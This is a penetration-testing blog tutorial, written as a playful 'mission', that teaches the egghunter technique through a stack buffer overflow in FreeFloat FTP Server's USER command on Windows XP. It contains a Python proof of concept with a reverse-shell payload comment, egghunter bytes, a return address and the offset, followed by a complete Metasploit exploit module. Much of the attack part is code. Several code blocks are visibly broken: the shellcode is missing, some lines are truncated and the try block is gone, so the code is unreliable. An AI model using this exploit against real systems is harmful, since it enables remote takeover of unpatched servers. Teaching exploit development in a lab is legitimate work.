In this edition of Primal Security, I will be your handler on a mission to gain SYSTEM level control of the Lee Dojo central server. In order to accomplish this, we will need to augment our current exploit development skill set with a technique I learned from “The Elusive Egghunter” years ago. Your current objective is to find him and report back what you’ve learned.

Warning: This exploit development technique can be quite difficult to understand at first but by the time you reach the end of this mission, you should have a strong foundational sense of how it works. Egghunting can also be performed in Linux Exploitation but after some information gathering, we’ve discovered the Lee server is hosting Windows so we will stick to that operating system for this engagement.

Mission Brief

We will start your training by introducing the definition of an “Egghunter” and some general reasons why this technique is often used to help execute payloads. Next, we will analyze our current exploit (see upcoming per-requisites section) and see how an egghunter’s application can aid us in getting the almighty and glorious shell on our target system. After that, we will discuss implementing the egghunter technique in not only our existing Python proof of concept (PoC) but also in the form a Metasploit module. Finally, we will discuss the implications of using egghunter shellcode in payloads on target assets and what to look out for when analyzing the risk involved in executing these types of exploits on penetration testing engagement.

What you’ll need

1. VM platform (Virtualbox, VMware, etc.)

2. Have a Windows 32-bit XP VM and a Kali Linux VM

3. Install Immunity debugger,, and Freefloat FTP server on Windows VM

To be successful in this mission, you should be able run this following program successfully:

#!/usr/bin/env python
import urllib2, re, os

# Clear screen + header
if == "posix":
print "Primal Security Podcast 2014 - 0x8 Exploit Tutorial: The Elusive Egghunter"

# Pre-requisites
pre_req_1 = urllib2.urlopen("")
pre_req_2 = urllib2.urlopen("")

# Chuck Norris doesn't like being lied to
the_truth = raw_input("Have you read the first tutorial and Porting to Metasploit [Yes/No]?rn> ")
lie_detector_true = re.match(the_truth, "Yes", re.IGNORECASE)
if lie_detector_true:
     your_brain = ["read 0x0 Vanilla EIP Overwrite Tutorial", "read 0x5 Porting to Metasploit"]
     print "[*] Chuck is pleased. Looks like you're ready to continue!"
     # You got caught!
     print "[ROUNDHOUSE KICK] Please come back in a little while."
     print "First article: 0x0 Exploit Tutorial: Buffer Overflow - Vanilla EIP Overwrite"
     print "rn" * 10
     print "Second article: 0x5 Exploit Tutorial: Porting Your First Exploit to Metasploit"

If you are ready to continue, let us begin.

What is an Egghunter?


An “egghunter” is a set of instructions which directs a program to search memory address by address for specific bytes of memory or “eggs”. When this “egg” is found, the return address for the location of the tag is stored and execution continues directly after that address. Skape has created a beautiful white paper on a variety of ways to execute egghunting shellcode when dealing with a range of difficulties (such as your buffer being split into multiple regions of memory) but for this exercise, we will be focusing on the NtAccessCheck rendition of egghunters.

This knowledge is enough to get started, let’s enter the Roundhouse Forest and begin our search for the Elusive Egghunter himself!

Twenty minutes later: Ugh, You Found Me….?


The Elusive Egghunter: Deep down I knew this day would come. As promised, I will bestow onto you the skill my father’s father and other elite egghunters have bestowed onto other hunters over the last decade. This technique defies traditional exploitation measures and escapes boundaries. When you feel like you’re struck in a corner, you can use this technique to leap back onto the battlefield and finish the job. Enough talk; let’s get back to my lab and get down to business, shall we?

In the Zone: The Art of Egghunting

This version of the egghunting technique will require you to have a total of 40 bytes of buffer space of which 32 contiguous bytes will be dedicated to the creation of the “hunter” and 8 bytes to be used as a “tag” to be found just before your payload.

After some reconnaissance, it was discovered that the target system has a vulnerable version of FreeFloat FTP Server installed. It’s time to download the program, start FreeFloat FTP server, and attach Immunity Debugger to the process.

Once Immunity is up, summon the mighty egg hunter by typing !mona egg into the console pane. This will call and display the egghunter instructions in hex form to the log screen (L” from the top toolbar) as well as create a file called “egghunter.txt” which will contain all the information displayed in the pane. Give it a try!

Mona Egghunter

NOTE: By default, generation of this shellcode does account for bad characters. For more information on bad character analysis, take a look at our tutorial on the subject located here.

If you would like to specify a tag for the “egg”, use the following syntax:

!mona egg -t <custom of tag>

If the -t flag is not invoked, the default egg is “w00t” (two zeroes). For this tutorial, we will be using “w00t” as our “prey”.


As noted above our egghunter tag is “w00t” and will be “doubled” and used to prepend our shellcode; the end result is “w00tw00t”. When the “egghunter” finds the first four bytes of this tag, it will store it and continue to increment EDX (Extended Data Register) by one until it finds an instance where “w00t” is found twice (essentially the only instance would be at our shellcode if our egg is unique).


When the egghunter discovers the full tag “w00tw00t”, it saves the address of the entire instance to the Extended Destination Index (EDI) and the next instruction is to JMP or “jump” to that location and continue with the execution of code which in this instance is our reverse shell.

Time to finish the job


After our meeting with the Elusive Egghunter, it is time to part ways because as you know, I am a Lone Wolf. At this point, you have enough intel to complete the objective and should start crafting your new weapon with everything you’ve learned.

For the sake of time, the python PoC for the Egghunter version of this exploit can be seen below with full notes:

#!/usr/bin/env python

import sys
import socket
import struct # imported struct to take our raw mem addresses and convert them to little endian for travel across the network

target = sys.argv[1]

if len(sys.argv) < 2:
    print "Usage %s: <host IP>" % (sys.argv[1])

# msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R| msfencode -e x86/fnstenv_mov -b "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d" -t c
# Bad Chars: "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d"
# 338 bytes
shellcode = (

# 0x7c86467b - JMP ESP | XP SP3 EN [kernel32.dll] (C:WINDOWSsystem32kernel32.dll)
jmpesp = struct.pack('<L', 0x7c86467b)

# Here are the assembly instructions that will be used to find our tag "w00tw00t"
hunter = (
"xefxb8x77x30" # Last two bytes = start of tag: w0
"x30x74x8bxfa" # First two bytes = end of tag: 0t

# Due to little endian, we will reverse our tag of "w00tw00t" to "t00wt00w"
egg = "w00tw00t"

# Establishing the buffer for our exploit
buff = "x41" * 194              # Our initial offset decremented to include hunter. Took off an extra four bytes for more sliding
buff += hunter                   # Our hunter
buff += "x42" * 4               # A little space to act as a NOP slide (INC EBX in this case)
buff += jmpesp                   # Next JMP ESP converted to little endian via struct
buff += egg + shellcode + "rn" # "w00tw00t" prepending our shellcode followed by a user return and new line feed

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print s.recv(2048)
    print "[*] Sending evil buffer in 5 seconds (make sure your handler is ready)"
    time.sleep(5) # Chill for 5 seconds
    s.send("USER "+buff) # Send the buffer out
    print "[*] Give me some time to marinate..."
except socket.gaierror as error: # If you run into a socket issue, tell me why
    print "[!] We encountered a socket error: %s" % (error)
except Exception as e: # If you experience any other exception, tell me why
    print "[!] We encountered a general error: %s" % (e)

Enter the Egghunter

I am the Egghunter

Depicted below is how egghunters find their prey:

1. Set our buffer length to small consistent subtracting the length of the egghunter (32 bytes without encoding) from the initial buffer as well as four extra bytes to give us a mini slide to get to our JMP ESP instruction.
2. We slide from our initial buffer to the egghunter which begins searching memory.
3. The egghunter begins execution, clearing out the bottom half of the 32-bit register EDX (you’ll see why soon) with an “OR DX, 0xFFF” instruction and setting the EAX register to our egg (‘w00t’) with the MOV EAX, 74303077.
4. As the egghunter shellcode scans memory using EDX to keep track of where it is, it starts asking whether “w00t” or “x77x30x30x74” is available at the address it lands on.
5. If the answer is yes, it stores the address and continues. If the answer is no, increase EDX is increased by one effectively causing the next loop of the egghunter to check the next address in the series.
6. The egghunter will continue to search memory until it finds an instance in which two contiguous “eggs” are found in memory side by side (“w00tw00t”).


7. When this finally occurs, the address is stored in Extended Data Instruction Pointer (EDI) and a JMP EDI instruction is called to continue execution of our desired payload.

Leap of Faith

8. For testing purposes, our shellcode is “xCC” or interrupts but it is clear that we’re on to something big.

Extra Note: The CMP AL, 5 instruction references a check for access to that part of memory.

Some things to keep in mind when executing egghunting shellcode:

1. Know your buffer limitations. Ask yourself, where can I place shellcode? Is my shellcode being sectioned out?
2. Make sure that the marker does not contain bad characters as that may interrupt your hunter’s execution.
3. Are DEP, ASLR, SEH or other protective measures active on the system or part of the program’s compiling process?
4. Are stack adjustments required?
5. Do I have actually have access to the places where my shellcode has landed?

Automated Assault – The Metasploit Egghunter Mixin

The Metasploit module version of this exploit can be seen below. We call upon the “Exploit::Remote::Egghunter” mixin to create our egg and hunter. One amazing benefit of using this mixin is it has to ability to encode your egg + payload as well as hunter to avoid bad characters and the halting of execution. NOTE: I have noticed that when you specify the second part of the egghunter’s array (created when you use ‘generate_egghunter’), hunter

[1] includes both your egg tag (in our case “w00tw00t”) and the encoded payload. It is not necessary to state “egg + egg” or payload.encoded at the end of the module.

# End of freefloatftpegg-primal.rb
  def exploit
    print_status("Sending #{payload.encoded.length} byte payload to #{datastore['RHOST']} (#{})...")    
    # Generating the Egghunter instructions and creating an egg with the the tag "w00t". MSF will be looking for "w00tw00t"
    hunter = generate_egghunter(payload.encoded, badchars = payload_badchars, {:checksum => false, :eggtag => "w00t"})
    egg = hunter[1]
    # hunter = generate_egghunter(payload.encoded, payload_badchars, { :eggtag => 'chuk' })
    buf = "x41" * target['Offset']            
    buf << hunter[0]
    buf << "x42" * 4
    buf << [ target.ret ].pack('V')
    buf << egg
    send_cmd( ['USER', buf], false)     

The full version of the conversion of the Vanilla EIP Overwrite Metasploit module from our porting to Metasploit Tutorial (can be found here) version to the Egghunter version can be seen towards the end of this blog entry.

Back to the Mission: The Final Act


Weapons are loaded and it is time to attack the Lee Server.

As always, make sure you have saved your Metasploit module in /root/.msf4/modules/exploits/windows/ftp/ (in this case). Once you have started Metasploit use exploit/windows/ftp/freefloatftpegg-primal.rb

Selecting Egghunter MSF Mod
The IP address of our target is Let us perform the following operations to get our reverse shell handler parameters in check:

set RHOST (Lee Server)
set LHOST (our command center)
set LPORT <Default is 4444>

This is what we’ve been waiting for….type exploit and let us complete the objective.


After much investigation, it appears there are two critical files on the Desktop of user brucelee. Of the two present, the Red – Secret to defeating the Round House Kick.jpg artifact may be what we were looking for.


Time to download and view the contents:

Download Secrets

Got Artifact

WHAT???? It appears they were both trying to teach me a lesson!

Looks like there is one more artifact to investigate. What is the true way to become a master of your domain:


Risk Management: The implications of using Egghunters

As with any exploit development technique, there is a drawback to using this technique. The target asset CPU cycles will more than likely spike to 100% for the duration of the “egg hunt” and from a risk management standpoint, the target may be required to be available in the classic 99.999% model (uptime guaranteed) and performing an attack like this just may not be feasible. It took a couple restarts of the application to actually trigger the vulnerability via this technique; in some instances my Meterpreter shell gracefully exited via ExitThread() keeping the application alive and in others, the application simply crashed. In the real world, you may only have one shot. Overall, it is imperative that situations such as these are anticipated by the penetration tester and are addressed during the initial kick-off meeting and are included in the Rules of Engagement (RoE).


Congratulations, you’ve made me proud.

Additional Resources

Corelean Win32 Egghunting

Fuzzy Security

Skape (The Defacto Paper on Egghunting)

Full Metasploit Code:


# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = NormalRanking        

  include Exploit::Remote::Tcp
  include Exploit::Remote::Ftp
  include Exploit::Remote::Egghunter

  def initialize(info = {})
      'Name'           => 'Freefloat FTP Server Buffer Overflow Egg Hunter Edition (USER)',
      'Description'    => %q{            
          Freefloat FTP Server exhibits a stack-based buffer overflow vulnerability when a
      large buffer is sent to the service using the USER command on login.
          An attacker could use this crash to obtain full control of the application
          and perform remote code execution operations.        
      'License'        => MSF_LICENSE,            
      'Author'         => [
                'Doug Prostko <dougtko[at]>',
                'Primal Security',
      'References'     =>            
        [ 'OSVDB', '69621'],    
        [ 'EDB', '23243']
      'DefaultOptions' =>
          'EXITFUNC' => 'thread',        
      'Payload'        =>        
          'Space'    => 544,
          'BadChars' => "x00x0ax0bx27x36xcexc1x04x14x3ax44xe0x42xa9x0d",
      'Compat' =>
              'ConnectionType' => "-find"
       'Platform' => 'win',     
       'Targets'        =>
            'Windows XP SP3',        
              'Ret'      => 0x7c86467b,        # JMP ESP | XP SP3 EN [kernel32.dll] (C:WINDOWSsystem32kernel32.dll) *Changed from original exploit
              'Offset'   => 194,               # We subtract 32 bytes from our initial buffer (230) to add the hunter and then we add a mini slide (B's) just to be safe
      'DisclosureDate' => 'August 26, 2014',
      'DefaultTarget'  => 0))        

  def check

    if (banner =~ /FreeFloat Ftp Server (Version 1.00)/)    
      return Exploit::CheckCode::Vulnerable    
      return Exploit::CheckCode::Safe    

  def exploit
    print_status("Sending #{payload.encoded.length} byte payload to #{datastore['RHOST']} (#{})...")    
    # Generating the Egghunter instructions and creating an egg with the the tag "w00t". MSF will be looking for "w00tw00t"
    hunter = generate_egghunter(payload.encoded, badchars = payload_badchars, {:checksum => false, :eggtag => "w00t"})
    egg = hunter[1]
    # hunter = generate_egghunter(payload.encoded, payload_badchars, { :eggtag => 'chuk' })
    buf = "x41" * target['Offset']      # INC EAX * 194 (initial buffer)      
    buf << hunter[0]                     # 32 byte egghunter
    buf << "x42" * 4                    # The mini slide (INC EDX)
    buf << [ target.ret ].pack('V')      # our JMP ESP (result of 194 bytes + hunter (32) bytes + slide (4) bytes = 230 (needed to crash app)
    buf << egg                           # "w00tw00t" + payload (encoded)
    send_cmd( ['USER', buf], false)